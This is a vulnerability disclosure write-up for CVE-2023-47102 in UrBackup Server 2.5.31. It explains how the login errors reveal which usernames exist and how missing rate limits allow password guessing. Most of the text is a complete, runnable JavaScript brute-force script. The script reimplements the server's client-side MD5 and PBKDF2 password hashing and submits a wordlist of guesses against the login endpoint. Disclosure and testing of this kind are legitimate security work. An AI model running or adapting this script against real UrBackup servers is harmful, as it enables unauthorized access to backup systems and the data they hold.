Headline
CVE-2023-47102: Quantiano
UrBackup Server 2.5.31 allows brute-force enumeration of user accounts because a failure message confirms that a username is not valid.
Starting with the first step, access the login page at localhost:55414. The login page includes fields for username and password, and it lacks captcha or any other controls to prevent automated form submissions. We observed that this allows perpetrators to brute-force the login request.
Next, we begin to understand how UrBackup works. We first try using the username "root". The result shows that "User does not exist". From this, we can easily deduce that this user does not exist.
We then try using a common username credential that might be used by most administrators, which can be found here. If we are lucky, the admin might be using one of the existing usernames from the wordlist similar to my demonstration, which shows that the username “admin” exists; however, the popup indicates "Wrong password".
The first request is sent to /x?a=salt and the response contains a cryptographic setting
The cryptographic JavaScript function that performs a password calculation is located on the client side.
1. Prepare a list of existing usernames (in this case “admin”)
2. Prepare a password wordlist (in this case is “pass.txt”)
3. Run below code to automate brute-force
import axios from 'axios';
import fs from 'fs/promises';
import qs from 'qs';
import sjcl from 'sjcl';
import { HttpProxyAgent } from 'http-proxy-agent';
const proxyAgent = new HttpProxyAgent('http://127.0.0.1:8080');
var blks = null;
var nblk = null;
var i = null;
var x = null;
var a = null;
var b = null;
var c = null;
var d = null;
var olda = null;
var oldb = null;
var oldc = null;
var oldd = null;
var str = null;
var j = null;
var hex_chr = "0123456789abcdef";
function rhex(num)
{
str = "";
for(j = 0; j <= 3; j++)
str += hex_chr.charAt((num >> (j * 8 + 4)) & 0x0F) +
hex_chr.charAt((num >> (j * 8)) & 0x0F);
return str;
}
function str2blks_MD5(str)
{
nblk = ((str.length + 8) >> 6) + 1;
blks = new Array(nblk * 16);
for(i = 0; i < nblk * 16; i++) blks[i] = 0;
for(i = 0; i < str.length; i++)
blks[i >> 2] |= str.charCodeAt(i) << ((i % 4) * 8);
blks[i >> 2] |= 0x80 << ((i % 4) * 8);
blks[nblk * 16 - 2] = str.length * 8;
return blks;
}
function add(x, y)
{
var lsw = (x & 0xFFFF) + (y & 0xFFFF);
var msw = (x >> 16) + (y >> 16) + (lsw >> 16);
return (msw << 16) | (lsw & 0xFFFF);
}
function rol(num, cnt)
{
return (num << cnt) | (num >>> (32 - cnt));
}
function cmn(q, a, b, x, s, t)
{
return add(rol(add(add(a, q), add(x, t)), s), b);
}
function ff(a, b, c, d, x, s, t)
{
return cmn((b & c) | ((~b) & d), a, b, x, s, t);
}
function gg(a, b, c, d, x, s, t)
{
return cmn((b & d) | (c & (~d)), a, b, x, s, t);
}
function hh(a, b, c, d, x, s, t)
{
return cmn(b ^ c ^ d, a, b, x, s, t);
}
function ii(a, b, c, d, x, s, t)
{
return cmn(c ^ (b | (~d)), a, b, x, s, t);
}
function calcMD5(str)
{
x = str2blks_MD5(str);
a = 1732584193;
b = -271733879;
c = -1732584194;
d = 271733878;
for(i = 0; i < x.length; i += 16)
{
olda = a;
oldb = b;
oldc = c;
oldd = d;
a = ff(a, b, c, d, x[i+ 0], 7 , -680876936);
d = ff(d, a, b, c, x[i+ 1], 12, -389564586);
c = ff(c, d, a, b, x[i+ 2], 17, 606105819);
b = ff(b, c, d, a, x[i+ 3], 22, -1044525330);
a = ff(a, b, c, d, x[i+ 4], 7 , -176418897);
d = ff(d, a, b, c, x[i+ 5], 12, 1200080426);
c = ff(c, d, a, b, x[i+ 6], 17, -1473231341);
b = ff(b, c, d, a, x[i+ 7], 22, -45705983);
a = ff(a, b, c, d, x[i+ 8], 7 , 1770035416);
d = ff(d, a, b, c, x[i+ 9], 12, -1958414417);
c = ff(c, d, a, b, x[i+10], 17, -42063);
b = ff(b, c, d, a, x[i+11], 22, -1990404162);
a = ff(a, b, c, d, x[i+12], 7 , 1804603682);
d = ff(d, a, b, c, x[i+13], 12, -40341101);
c = ff(c, d, a, b, x[i+14], 17, -1502002290);
b = ff(b, c, d, a, x[i+15], 22, 1236535329);
a = gg(a, b, c, d, x[i+ 1], 5 , -165796510);
d = gg(d, a, b, c, x[i+ 6], 9 , -1069501632);
c = gg(c, d, a, b, x[i+11], 14, 643717713);
b = gg(b, c, d, a, x[i+ 0], 20, -373897302);
a = gg(a, b, c, d, x[i+ 5], 5 , -701558691);
d = gg(d, a, b, c, x[i+10], 9 , 38016083);
c = gg(c, d, a, b, x[i+15], 14, -660478335);
b = gg(b, c, d, a, x[i+ 4], 20, -405537848);
a = gg(a, b, c, d, x[i+ 9], 5 , 568446438);
d = gg(d, a, b, c, x[i+14], 9 , -1019803690);
c = gg(c, d, a, b, x[i+ 3], 14, -187363961);
b = gg(b, c, d, a, x[i+ 8], 20, 1163531501);
a = gg(a, b, c, d, x[i+13], 5 , -1444681467);
d = gg(d, a, b, c, x[i+ 2], 9 , -51403784);
c = gg(c, d, a, b, x[i+ 7], 14, 1735328473);
b = gg(b, c, d, a, x[i+12], 20, -1926607734);
a = hh(a, b, c, d, x[i+ 5], 4 , -378558);
d = hh(d, a, b, c, x[i+ 8], 11, -2022574463);
c = hh(c, d, a, b, x[i+11], 16, 1839030562);
b = hh(b, c, d, a, x[i+14], 23, -35309556);
a = hh(a, b, c, d, x[i+ 1], 4 , -1530992060);
d = hh(d, a, b, c, x[i+ 4], 11, 1272893353);
c = hh(c, d, a, b, x[i+ 7], 16, -155497632);
b = hh(b, c, d, a, x[i+10], 23, -1094730640);
a = hh(a, b, c, d, x[i+13], 4 , 681279174);
d = hh(d, a, b, c, x[i+ 0], 11, -358537222);
c = hh(c, d, a, b, x[i+ 3], 16, -722521979);
b = hh(b, c, d, a, x[i+ 6], 23, 76029189);
a = hh(a, b, c, d, x[i+ 9], 4 , -640364487);
d = hh(d, a, b, c, x[i+12], 11, -421815835);
c = hh(c, d, a, b, x[i+15], 16, 530742520);
b = hh(b, c, d, a, x[i+ 2], 23, -995338651);
a = ii(a, b, c, d, x[i+ 0], 6 , -198630844);
d = ii(d, a, b, c, x[i+ 7], 10, 1126891415);
c = ii(c, d, a, b, x[i+14], 15, -1416354905);
b = ii(b, c, d, a, x[i+ 5], 21, -57434055);
a = ii(a, b, c, d, x[i+12], 6 , 1700485571);
d = ii(d, a, b, c, x[i+ 3], 10, -1894986606);
c = ii(c, d, a, b, x[i+10], 15, -1051523);
b = ii(b, c, d, a, x[i+ 1], 21, -2054922799);
a = ii(a, b, c, d, x[i+ 8], 6 , 1873313359);
d = ii(d, a, b, c, x[i+15], 10, -30611744);
c = ii(c, d, a, b, x[i+ 6], 15, -1560198380);
b = ii(b, c, d, a, x[i+13], 21, 1309151649);
a = ii(a, b, c, d, x[i+ 4], 6 , -145523070);
d = ii(d, a, b, c, x[i+11], 10, -1120210379);
c = ii(c, d, a, b, x[i+ 2], 15, 718787259);
b = ii(b, c, d, a, x[i+ 9], 21, -343485551);
a = add(a, olda);
b = add(b, oldb);
c = add(c, oldc);
d = add(d, oldd);
}
console.log(rhex(a) + rhex(b) + rhex(c) + rhex(d));
return rhex(a) + rhex(b) + rhex(c) + rhex(d);
}
const main = async () => {
try {
const passwords = await fs.readFile('pass.txt', 'utf8');
const passwordArray = passwords.split('\n').map(pw => pw.trim());
for (const password of passwordArray) {
console.log(password)
const url1 = 'http://localhost:55414/x?a=salt';
const data1 = qs.stringify({
username: 'admin',
ses: '4Eu9JKihHNT6CH8esJQ0mn3ga9G7vJ',
lang: 'en'
});
const response1 = await axios.post(url1, data1, {
headers: {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": "http://localhost:55414",
"Referer": "http://localhost:55414"
},httpAgent: proxyAgent,
httpsAgent: proxyAgent
});
console.log(response1.data);
const { rnd, salt, ses } = response1.data;
if (!rnd || !salt) {
console.log('Failed to retrieve rnd or salt');
continue;
}
let pwmd5 = calcMD5(salt + password);
if (10000 > 0) {
pwmd5 = sjcl.codec.hex.fromBits(sjcl.misc.pbkdf2(sjcl.codec.hex.toBits(pwmd5), salt, 10000));
}
pwmd5 = calcMD5(rnd + pwmd5);
const url2 = 'http://localhost:55414/x?a=login';
const data2 = {
username: 'admin',
password: pwmd5,
ses: ses || '4Eu9JKihHNT6CH8esJQ0mn3ga9G7vJ',
lang: 'en'
};
const response2 = await axios.post(url2, qs.stringify(data2), {
headers: {
"Accept": "application/json, text/javascript, */*; q=0.01",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"sec-ch-ua": '"Not;A Brand";v="99", "Chromium";v="106"',
"X-Requested-With": "XMLHttpRequest",
"sec-ch-ua-mobile": "?0",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36",
"sec-ch-ua-platform": '"Windows"',
"Origin": "http://localhost:55414",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Dest": "empty",
"Referer": "http://localhost:55414/",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
"Connection": "close"
},httpAgent: proxyAgent,
httpsAgent: proxyAgent
});
console.log(response2.data);
}
} catch (error) {
console.error('An error occurred:', error);
}
};
main();
All requests made by the automation script.
An incorrect hash password will return a JSON with an error type of 2.
A correct hash password will return attributes of the settings, and the response length will be different.